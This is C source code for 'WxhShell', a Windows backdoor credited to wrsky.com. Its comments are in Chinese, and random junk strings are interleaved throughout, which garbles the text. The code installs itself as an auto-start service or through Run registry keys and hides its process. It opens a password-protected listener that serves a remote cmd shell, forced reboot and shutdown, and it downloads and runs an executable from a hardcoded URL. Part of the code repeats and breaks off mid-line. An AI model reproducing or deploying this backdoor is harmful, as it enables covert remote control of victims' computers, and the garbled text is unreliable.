.` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8V 4e\q if(NULL == hInst ) return 0; rq4g~e!S _#NibW g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iC/*d g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6lv@4R^u NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u}|v;:|j ..X _nF if (!NtQueryInformationProcess) return 0; -Dx3*Zh P Yj/o17 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6]~/`6Dub if(!hProcess) return 0; \Ta5c31S+ ZTV)D if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t!*[nfR 1n[)({OQ CloseHandle(hProcess); 8.n#@% T3@2e0u ) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >Zs! if(hProcess==NULL) return 0; ;Vs2e pu]U_Ll@ HMODULE hMod; wbrOL(q.m char procName[255]; hxH6Ii]\ unsigned long cbNeeded; GIH{tr1:< wT\BA'VQ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l<GN<[/.+ 7@%qm|i>w CloseHandle(hProcess); boGdZ2$h4 |1(x2x%}D^ if(strstr(procName,"services")) return 1; // 以服务启动 $wp>2 )9_W"'V return 0; // 注册表启动 xc 1d[dCdp } _<#92v!F b4-gNF]Yt // 主模块 gac31,gH int StartWxhshell(LPSTR lpCmdLine) +]A,fmI. { rzIWQFv SOCKET wsl; @Kz,TP!%A BOOL val=TRUE; ">CRFee0 int port=0; eyJWFJh struct sockaddr_in door; W&)f#/M8 DxNob-Fr if(wscfg.ws_autoins) Install(); 2Ax"X12{6 Rw{'
O]Q* port=atoi(lpCmdLine); -Pp{aFe pxgf%P<7 if(port<=0) port=wscfg.ws_port; R}gdN-941 \efDY[j/ WSADATA data; S',h*e if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cB){b'WJ tjwf;g}$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; py:L-5 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :rQDA=Ps door.sin_family = AF_INET; eN.6l2- door.sin_addr.s_addr = inet_addr("127.0.0.1"); XYuX+&XW/ door.sin_port = htons(port);
*6` ^8Y\ jmwN 1Se> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &uRT/+18W3 closesocket(wsl); A;Y~Hu4KPZ return 1; 0*b8?e } :38h)9>RK 5?SE?VC=t if(listen(wsl,2) == INVALID_SOCKET) { 2|lR@L sr closesocket(wsl); zPp22 return 1; N^$q;% } xOKJOl Wxhshell(wsl); nt$PA(Y WSACleanup(); W9Azp8)p] lf>d{zd5 return 0; 9e
K~g0m aOGoJCt
C } p-{ 4 $W d9:I.SA)E // 以NT服务方式启动 dY&v(~&;] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #~nXAs]Q { y/Y}C.IWp) DWORD status = 0; \Hrcf +` DWORD specificError = 0xfffffff; YGOkqI *sU,waX serviceStatus.dwServiceType = SERVICE_WIN32; >;,23X serviceStatus.dwCurrentState = SERVICE_START_PENDING; r4/b~n+* serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G{fPQ= serviceStatus.dwWin32ExitCode = 0; xjbI1qCfe serviceStatus.dwServiceSpecificExitCode = 0; 9nc_$H{ serviceStatus.dwCheckPoint = 0; .:}<4;Qz94 serviceStatus.dwWaitHint = 0; Yq00<kIDJ S1^/W-yoc~ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }Y.YJXum if (hServiceStatusHandle==0) return; T90O.]S *W\ 3cS status = GetLastError(); qfl!>
if (status!=NO_ERROR) KJoa^e;~ { hbJy<e1W serviceStatus.dwCurrentState = SERVICE_STOPPED; =t-Ud^3 serviceStatus.dwCheckPoint = 0; !9
kNL serviceStatus.dwWaitHint = 0; |OF3O,5z serviceStatus.dwWin32ExitCode = status; #oTVfY# serviceStatus.dwServiceSpecificExitCode = specificError; g]L8Jli SetServiceStatus(hServiceStatusHandle, &serviceStatus); e8 ]CB return; F]6G<6T[ } I2CI9,0 jy.L/s serviceStatus.dwCurrentState = SERVICE_RUNNING; 'XKfKv >; serviceStatus.dwCheckPoint = 0; A"M;kzAfHM serviceStatus.dwWaitHint = 0; z_xy*Iif if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?
bWc<] } 0Sd>*nC ASoBa&vX // 处理NT服务事件,比如:启动、停止 p1niS:}j VOID WINAPI NTServiceHandler(DWORD fdwControl) W?zj^y[w { j:1N&7<FU switch(fdwControl) 02;'"EmP$ { YX,;z/Jw2 case SERVICE_CONTROL_STOP: >l)x~Bkf$j serviceStatus.dwWin32ExitCode = 0; 33lh~+C serviceStatus.dwCurrentState = SERVICE_STOPPED; u->[y1JY serviceStatus.dwCheckPoint = 0; Uz_ob9l<#H serviceStatus.dwWaitHint = 0; D.{vuftu { ==?wG!v2 h SetServiceStatus(hServiceStatusHandle, &serviceStatus); [DjlkA/Zg } \[{8E}_"^ return; ;}Lf case SERVICE_CONTROL_PAUSE: u3 LoP_| serviceStatus.dwCurrentState = SERVICE_PAUSED; yO7H!}y_ break; A2\hmp@A@7 case SERVICE_CONTROL_CONTINUE: cD`?"n serviceStatus.dwCurrentState = SERVICE_RUNNING; Cj~e` VRhk break; W895@ case SERVICE_CONTROL_INTERROGATE: e"^WXP.t& break; h!(#
/ }; xM<aQf\j SetServiceStatus(hServiceStatusHandle, &serviceStatus); OCdX'HN5Y } ;U?=YSHk7 0AWxU?$A4 // 标准应用程序主函数 "B__a( int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }o!b3*# { WP\kg\o ?E!M%c@, // 获取操作系统版本 7CR#\&h` OsIsNt=GetOsVer(); +pq=i GetModuleFileName(NULL,ExeFile,MAX_PATH); 2<J2#}+\ $ bMmyDw // 从命令行安装 dRzeHuF92 if(strpbrk(lpCmdLine,"iI")) Install(); Z:h'kgG & \PN*gDmX // 下载执行文件 <Ffru?o4j if(wscfg.ws_downexe) { e/g9r if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6bj77CoB WinExec(wscfg.ws_filenam,SW_HIDE); fI;nVRfp } 8SroA$^n "kcix!}& if(!OsIsNt) { [Y`E"1f2 // 如果时win9x,隐藏进程并且设置为注册表启动 ]Gm4gd` HideProc(); <^>
nR3E StartWxhshell(lpCmdLine); ~u0<c:C^ } /<T{g0s else VSUWX1k4% if(StartFromService()) gA EB // 以服务方式启动 w$&;s<0 StartServiceCtrlDispatcher(DispatchTable); .u&X:jOE else =[aiW|Y // 普通方式启动 :##$-K*W" StartWxhshell(lpCmdLine); y]R+/ vD#kH1 return 0; voRb>xF } g51UIN]o- NoF|j57?u' B)DuikV.D %8DI)n#H =========================================== R>Ox(MG _Ad63.Uq)) t; #@t/` -8"K|ev *7*cWO= *=O3kUoL " UnVa`@P^:G >u0XV "g$ #include <stdio.h> 4yTgH0(T #include <string.h> R9- mq;u+ #include <windows.h> p {.6 #include <winsock2.h> PL31(!`@d #include <winsvc.h>
N8x&<H #include <urlmon.h> .P5'\ '"Uhw$#t #pragma comment (lib, "Ws2_32.lib") Y>c+j #pragma comment (lib, "urlmon.lib") <M5fk?n,| 6,1oLvU #define MAX_USER 100 // 最大客户端连接数 w?*79 u #define BUF_SOCK 200 // sock buffer 4k{xo~+%, #define KEY_BUFF 255 // 输入 buffer Xep2)3k> _'y`hKeI[ #define REBOOT 0 // 重启 4,YL15. #define SHUTDOWN 1 // 关机 R $dNdd9m *e:I*L #define DEF_PORT 5000 // 监听端口 ntPX?/ N2j^fZd_ #define REG_LEN 16 // 注册表键长度 WCqa[=v)t #define SVC_LEN 80 // NT服务名长度 _ A{F2M <7Yh<(R e^ // 从dll定义API keQRS+9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t<}N>%ZO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k=p[Mlic/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t5 ^hZZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rR{KnM Mg}/gO%o // wxhshell配置信息 gE*7[*2?t struct WSCFG { SuI^8^f= int ws_port; // 监听端口 Y HS/|- char ws_passstr[REG_LEN]; // 口令 S&l [z, int ws_autoins; // 安装标记, 1=yes 0=no ;U a48pSv char ws_regname[REG_LEN]; // 注册表键名 ?Ec{%N% char ws_svcname[REG_LEN]; // 服务名 1x##b[LC char ws_svcdisp[SVC_LEN]; // 服务显示名 /Wl8Jf7'
char ws_svcdesc[SVC_LEN]; // 服务描述信息 rOYYZ)Qw char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hZo f int ws_downexe; // 下载执行标记, 1=yes 0=no 7#Fcn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e=#D1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2*gB ~Jn4 p,(W?.ZDN? }; c*R\fQd S5H} // default Wxhshell configuration h~._R6y struct WSCFG wscfg={DEF_PORT, I;?PDhDb "xuhuanlingzhe", nHF~a?|FT 1, hVFZQJ?cv "Wxhshell", 211T}a "Wxhshell", Fwvc+ a "WxhShell Service", Tk 'Pv "Wrsky Windows CmdShell Service", ;>5]KNj
"Please Input Your Password: ", Dequ' 1, uB6Mjdp6 "http://www.wrsky.com/wxhshell.exe", ?djH! "Wxhshell.exe" 9`H4"H>yG }; tblduiN ]70ZerQ~L // 消息定义模块 &VCg`r-{~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EKQ>hww8 char *msg_ws_prompt="\n\r? for help\n\r#>"; )@tHS-Jf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -~_|ZnuM9 char *msg_ws_ext="\n\rExit."; y>T> char *msg_ws_end="\n\rQuit."; IQd~`
G char *msg_ws_boot="\n\rReboot..."; Tgla_sMb char *msg_ws_poff="\n\rShutdown..."; MU '- char *msg_ws_down="\n\rSave to "; ,@M<O!%Cs QWt3KW8) char *msg_ws_err="\n\rErr!"; Azr|cKu] char *msg_ws_ok="\n\rOK!"; d}|z+D r AqS;@]0 char ExeFile[MAX_PATH]; QaA?UzB int nUser = 0; 5xj8^W^G9 HANDLE handles[MAX_USER]; ?V~vP%1 int OsIsNt; +RiI5.$=Z $i!r> .Jo SERVICE_STATUS serviceStatus; S$40nM SERVICE_STATUS_HANDLE hServiceStatusHandle; X -=M>H^ u35"oLV6}# // 函数声明 DV>;sCMJ % int Install(void); 7GErh, int Uninstall(void); $n47DW& int DownloadFile(char *sURL, SOCKET wsh); Z?&ZgaSz int Boot(int flag); /m^G 99N void HideProc(void); HvZSkq^ int GetOsVer(void); |-cXb.M[ int Wxhshell(SOCKET wsl); 1IT(5Mleb void TalkWithClient(void *cs); 7j#Ix$Ur int CmdShell(SOCKET sock); Fs =)*6}& int StartFromService(void); X68.*VHh0 int StartWxhshell(LPSTR lpCmdLine); /Ah'KN|EN %z.d;[Hs VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DqmKDU VOID WINAPI NTServiceHandler( DWORD fdwControl ); P{J9#.Zq&s 6V6Mo}QF
s // 数据结构和表定义 +o0yx U
7t SERVICE_TABLE_ENTRY DispatchTable[] = V_ntS&2o { =@hCc {wscfg.ws_svcname, NTServiceMain}, PJ<qqA`! {NULL, NULL} 4?
rEO(SZ }; 1M55!b | (,{&\ // 自我安装 ,iZKw8]f int Install(void) d{ B0a1P { bcxR7<T,"9 char svExeFile[MAX_PATH]; ,I]]52+?4 HKEY key; {%&04yq+ strcpy(svExeFile,ExeFile); S<i.O 2#/sIu-L // 如果是win9x系统,修改注册表设为自启动 X(8LhsP if(!OsIsNt) { ^q%f~m,O< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nYvkeT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lm1JiPs d RegCloseKey(key); eIf-7S]m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,[dvs&-* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dk2Zl RegCloseKey(key); ~,8#\]xR return 0; q @wX= } kK:Wr&X0H } E7w^A } . _Jypk8 else { cbzS7q<) Qs8yJH`v // 如果是NT以上系统,安装为系统服务 @$%.iQ7A; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yOP$~L#TWs if (schSCManager!=0) 0&\71txrzg { DPmY_[OAE SC_HANDLE schService = CreateService .vi0DuD6 ( ^4Se=Hr
z2 schSCManager, uFlf#t
= wscfg.ws_svcname, :C0)[L wscfg.ws_svcdisp, yB{1&S5C SERVICE_ALL_ACCESS, nhZ/^`Y< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PTXS8e4 SERVICE_AUTO_START, /_8nZVu SERVICE_ERROR_NORMAL, G<`(d@g svExeFile, rH\oFCzC NULL, *o(bB!q"c NULL, g1l:k1\Ht NULL, G$CSZrP. NULL, Q+_z*
NULL !u4eI0?R? ); mGmZ}H'{ if (schService!=0) "W9z>ezp { ^![7X'!;pt CloseServiceHandle(schService); ^6Yt2Bhs CloseServiceHandle(schSCManager); VrhHcvnZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "kIlxf3 strcat(svExeFile,wscfg.ws_svcname); +<B"g{dLuX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4((p?jbC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :gRVa=}= RegCloseKey(key); N\?__WlBK7 return 0; 0Xn,q]@Z } {CTJX2& } ^bdXzjf CloseServiceHandle(schSCManager); N{M25ucAHl } q,;wD1_wG } qc3,/JO1 0|=y#`;,Z return 1; SFFJyRCz } @2_E9{ T L(1} PZ // 自我卸载 K]dR%j int Uninstall(void) :TV`uUE { LA/Qm/T HKEY key; :vaVghN\ Wu8zK=Ve( if(!OsIsNt) { fZnq5rTk" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0[7"Lhpd RegDeleteValue(key,wscfg.ws_regname); ;W\?lGOs{ RegCloseKey(key); ''z]o#=^9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?k^m|Z RegDeleteValue(key,wscfg.ws_regname); X_,R!$wbg: RegCloseKey(key); (FGHt/! return 0; V<ilv< } S5UQ
} Y^8'P /A } WU,b<PU & else { axN\ZXU _[wG-W/9R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hVd_1|/X if (schSCManager!=0) 8;f5;7Mn { [O]rf+NZ(5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #v6<9>% if (schService!=0) u1.0-Y? { m6gMVon if(DeleteService(schService)!=0) { r{Mn{1:O CloseServiceHandle(schService); ?papk4w CloseServiceHandle(schSCManager); )6o%6$c return 0; wuSotbc/ } 6/"#pe^ CloseServiceHandle(schService); t2m7Yh5B } K<pZ*l CloseServiceHandle(schSCManager); }-9 c1&m } y*=Ipdj } |U$ "GI zpzxCzU return 1; Z=a~0&G } k6RH]Ha ho^jmp // 从指定url下载文件 ^D ;EbR int DownloadFile(char *sURL, SOCKET wsh) 9}a&:QTHR { M+lr [,c HRESULT hr; j;-2)ZLm char seps[]= "/"; 2dbn~j0 char *token; J
L1]auO* char *file; Gj[5ew?@ char myURL[MAX_PATH]; k_gl$`A char myFILE[MAX_PATH]; 79h'sp6; [N"=rY4G strcpy(myURL,sURL); la^K|!| token=strtok(myURL,seps); mDuS-2G=D while(token!=NULL) # 00?]6`z { {V8uk$ file=token; u?'J1\z token=strtok(NULL,seps); p$*P@qm } 4jjo%N }I18|=TB GetCurrentDirectory(MAX_PATH,myFILE); J(P'!#z^ strcat(myFILE, "\\"); DH4IF i> strcat(myFILE, file); PM&NY8|Zy send(wsh,myFILE,strlen(myFILE),0); ^_W] @m2 send(wsh,"...",3,0); j^h:*rw hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {*<%6? if(hr==S_OK) 82 o|(pw return 0; sN MF(TY else -e0?1.A$ return 1; WKwYSbs( 3|EAOoWnK } h&~9?B 2~V"[26t // 系统电源模块 \zOsq5} int Boot(int flag) k(@W
z>aCv { ]a[2QQ+g HANDLE hToken; :0bjPQj TOKEN_PRIVILEGES tkp; P=s3&NDD 4`Jf_C if(OsIsNt) { J]Rh+@r. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZQ-6n1O LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mSO7 r F tkp.PrivilegeCount = 1; sG^{
cn tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .;(a;f+{; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J2Qt! - if(flag==REBOOT) { {j4&'=C: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JcfGe4 return 0; ZzP&Zrm } oqg +<m else { ,v?FR
}v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d\8j!F^= return 0; TFzk5 } b%0@nu4 } dh%DALZ8t else { V`1x![\ if(flag==REBOOT) { 6l2Os
$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u}rJqZ return 0; NH*"AE; } 7Rc>LI*
' else { 6:Y2z!MLO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D'^UZZlI^I return 0; #Kx @:I } Tz0XBH_ } z<J2e^j Fr2F&NN`D return 1; $
% B } C]h_co2eI :lK8i{o // win9x进程隐藏模块 f>&*%[fw void HideProc(void) *<}R=X. { 46B'Ec Q:'r
p HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bXqTc2>= if ( hKernel != NULL ) 7`^=Ie%(K { KUUZN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0sCWIGUW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }j!C+i FreeLibrary(hKernel); /)?qD } p1T0FBV
L %MCS_'N
J return; ,F+,A].wG } >\3N#S"PF j9-.bGtm?. // 获取操作系统版本 ;hh.w?? int GetOsVer(void) AOz~@i^ { +4Q1s?` OSVERSIONINFO winfo; pOj8-rr winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CBz=-Xr GetVersionEx(&winfo); S,a:H*Hf if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kxmsrQ>av return 1; tJGK9!MH{( else {s6hi#R> return 0; \XfLTv } JbN,K CioS}K // 客户端句柄模块 \6pQ&an int Wxhshell(SOCKET wsl) ]LMtZUz { `BaJ >%| SOCKET wsh; BJ5^-| struct sockaddr_in client; czB),vooz DWORD myID; b'vIX<
g _ D"S while(nUser<MAX_USER) :8N{;aui { IYr}%:P) int nSize=sizeof(client); s{42_O?,c wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nB/`~_9 if(wsh==INVALID_SOCKET) return 1; ?u0qYep: +6n\5+5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iP1yy5T if(handles[nUser]==0) H29vuGQjq closesocket(wsh); 6_:KFqc W else w{4#Q[ nUser++; x&$8;2&. } Digx#'#jf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %/S HB G+\&8fi0 return 0; i?|u$[^=+ } kovJ9 .&h|r>*|J // 关闭 socket Sw>,Q-32 void CloseIt(SOCKET wsh) t@iw&>8z { \VypkbE+ closesocket(wsh); $y UPua/- nUser--; dqi31e{*2\ ExitThread(0); r[#*..Y } ?KE:KV[Y L(C0236r // 客户端请求句柄 f>m! }F: void TalkWithClient(void *cs) #IJ6pg>K { X +/^s) NL'(/|) SOCKET wsh=(SOCKET)cs; {s=c!08= char pwd[SVC_LEN]; <S12=<c?' char cmd[KEY_BUFF]; DU-dIqi char chr[1]; o@L
'|#e int i,j; (?i4P5s[! e488}h6#m while (nUser < MAX_USER) { K
28s<i` |EY1$qItid if(wscfg.ws_passstr) { 14(ct if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hE'>8 { //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x Vw1 //ZeroMemory(pwd,KEY_BUFF); ]@CXUa,>a i=0; |;"(C# B while(i<SVC_LEN) { w BoP&l ~b%dBn]n> // 设置超时 Oe;1f#`5 fd_set FdRead; 4.>y[_vu struct timeval TimeOut; 7dOpJjv?) FD_ZERO(&FdRead); g\*2w
@ FD_SET(wsh,&FdRead); P~PM $e TimeOut.tv_sec=8; f9O_M1=|lo TimeOut.tv_usec=0; bP%X^q~]A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); anORoK. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?/(*cA
9Fg: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Y }k@T40a pwd=chr[0]; +6L.a3&(b if(chr[0]==0xd || chr[0]==0xa) { cs4IO
O$ pwd=0; }|j#C[ break; vorb? iVf> } _*xY>?Aq i++; y`cL3
xr4R } VmZDU(M OD?y // 如果是非法用户,关闭 socket mt[ #=Yba if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gOp81) } a;&0u> HaR x(p0 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~RV9'v4 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {5+ 39=( Vygh|UEo while(1) { Gc;-zq /sqfw,h@ ZeroMemory(cmd,KEY_BUFF); +Q"XwxL<6 qVvnl // 自动支持客户端 telnet标准 :j`XU j=0; fe}RmnAC while(j<KEY_BUFF) { "kKIv|` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Sj<>xgd cmd[j]=chr[0]; l>("L9 if(chr[0]==0xa || chr[0]==0xd) { -.-@|*5 cmd[j]=0; %~0]o@LW7 break; 5H(
]"C } w*u.z(:a` j++; iL~(BnsF } _j~y;R) !|cM<}TF, // 下载文件 :\%hv>}| if(strstr(cmd,"http://")) { rY$wC% send(wsh,msg_ws_down,strlen(msg_ws_down),0); ppeF,Q if(DownloadFile(cmd,wsh)) V2g"5nYT send(wsh,msg_ws_err,strlen(msg_ws_err),0); \\Z?v,XsS else SzG?m] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 46H@z=5 } BT
f else { ^C}f|{J U?Vik switch(cmd[0]) { ]UZP dw1D ghk"XJ| // 帮助 "i!W(}x+ case '?': { C\ 34R send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6HH:K0j3' break; +u
lxCm_lV } %iZ~RTY6 ! // 安装 qr~zTBT]
E case 'i': { R0F&!y!B if(Install()) *~.'lE%[U send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~x J#NC+ else Xod/GYG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q{
{= break; ,<TJh[TzC6 } #.LI`nYA // 卸载 n+s=u$%qn case 'r': { f^Q)lIv if(Uninstall()) Q{~;4+ZD send(wsh,msg_ws_err,strlen(msg_ws_err),0); "DRiJ.|APs else B.);Ju send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g$z6*bL break; +Edq4QYwR } w~n+hhMF // 显示 wxhshell 所在路径 p#>,{ case 'p': { yXf+dMv char svExeFile[MAX_PATH]; j3[kG# strcpy(svExeFile,"\n\r"); G420o}q strcat(svExeFile,ExeFile); Z,>owoP4 send(wsh,svExeFile,strlen(svExeFile),0); (T.j3@Ko break; ixqvX4vv,B } &-Q_%eM^ // 重启 &7eN
EA case 'b': { 6?/f$,v send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _?XR;2] if(Boot(REBOOT)) s|R`$+'{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); `*B6T7p1 else { [9yy<Z5 closesocket(wsh); 1=^| ExitThread(0); ayN[y } #5X+.!L break; b>' c
} hF1Lj=x // 关机 ]v_u2f' case 'd': { (62Sc] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -8SZ}J if(Boot(SHUTDOWN)) hS^8/]E={ send(wsh,msg_ws_err,strlen(msg_ws_err),0); r4]hcoU else { /5?tXH" closesocket(wsh); ~^o YPd52* ExitThread(0); m;vm7]5 } l_ LH!Tu break; ZtpbKy!\$B } "}0)~,{xB // 获取shell Ls&-8 case 's': { NH'QMjL) CmdShell(wsh); {$C"yksr closesocket(wsh); l4^MYwFR{O ExitThread(0); :6Gf@Z&+ break; iq5-eJmq } W QeQ`pM // 退出 ~le:4qaX case 'x': { 880T'5}S
: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %~N| RSec CloseIt(wsh); v\5`n@}4 break; [MeFj!( } cY|@s?3NND // 离开 z
AY
-Y case 'q': { E.CG send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6Zv-kG closesocket(wsh); e`?o`@vO, WSACleanup(); = @ 1{LF; exit(1); ?%b#FXA break; +rKV*XX@ } zOis}$GR } )OFf nKh } fD2 N} Na+3aM%% // 提示信息 VrJf g if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5zF$Q {3 } ,F=FM>o } zSBR_N51 F 2Mxcs*M return; =@d->d } iVb7>d9} 2WB`+oWox // shell模块句柄 c(s: f@ 1 int CmdShell(SOCKET sock) @\U] hN? { id>2G
%Tx STARTUPINFO si; Crezo? ZeroMemory(&si,sizeof(si)); 1#|qT7 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ixB"6O si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'lOpoWDL PROCESS_INFORMATION ProcessInfo; c']m5q39' char cmdline[]="cmd"; IJLuu@kRm, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H4W!@"e return 0; <#)Q.P } [u^~ND ' c+
aTO" // 自身启动模式 $IJ"fs int StartFromService(void) >|1-o;UU { H^jcWwy: typedef struct 9{-H/YS\_s { ~b6c:db3 DWORD ExitStatus; pzT`.#N:M DWORD PebBaseAddress; d}@n,3 DWORD AffinityMask; @CKMJ^#| DWORD BasePriority; tSVS ogGd ULONG UniqueProcessId; RvyCc!d ULONG InheritedFromUniqueProcessId; cEGR?4z } PROCESS_BASIC_INFORMATION; XM`&/) B3E}fQm ) PROCNTQSIP NtQueryInformationProcess; yB4eUa!1 GGsAisF"N static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MKX58y{+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s6Il3Kf `X(H,Q}*; HANDLE hProcess; )c<[@::i PROCESS_BASIC_INFORMATION pbi; QvlVjDIy * b"aJ<+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V%voe if(NULL == hInst ) return 0; z -'e<v;w /lc4oXG8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t V2o9!N4 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /#[mV(k NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NZ%v{? RAA,%rRhu( if (!NtQueryInformationProcess) return 0; 43*;" w= UW{C`^?=B hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jM>;l6l if(!hProcess) return 0; m:cWnG VwT&A9&{8 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .RWq!Z=)3 _D8:p>= CloseHandle(hProcess); _TbvQY 9 6%N hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q5*"t*L!N if(hProcess==NULL) return 0; P&*e\"{ 88l{M[B2 HMODULE hMod; p\tA&>3- char 